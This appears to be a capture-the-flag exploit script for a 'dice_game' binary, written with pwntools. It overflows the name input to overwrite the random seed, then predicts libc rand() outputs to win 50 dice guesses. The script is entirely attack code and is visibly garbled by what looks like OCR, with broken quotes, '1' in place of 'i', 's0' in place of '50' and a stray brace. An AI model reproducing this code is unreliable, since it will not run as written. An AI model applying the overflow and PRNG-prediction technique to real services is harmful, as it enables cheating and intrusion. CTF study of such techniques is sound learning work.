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from pwn import *

from ctypes import *

context(log level="debug',os="1linux',arch="armé4"')
libc=cdll.LoadLibrary('./libc.s0.6")
p=process('./dice_game')

payload="'a'*0x40+p64(1)

p.recvuntil('your name:')

p.sendline(payload)

p.recvuntil('(1~6):")

a=[]

for 1 in range(50):
a.append(libc.rand()%6+1)

for b in range(s0):
p.sendline(str{a[b]))
print p.recv()

p.interactive()s
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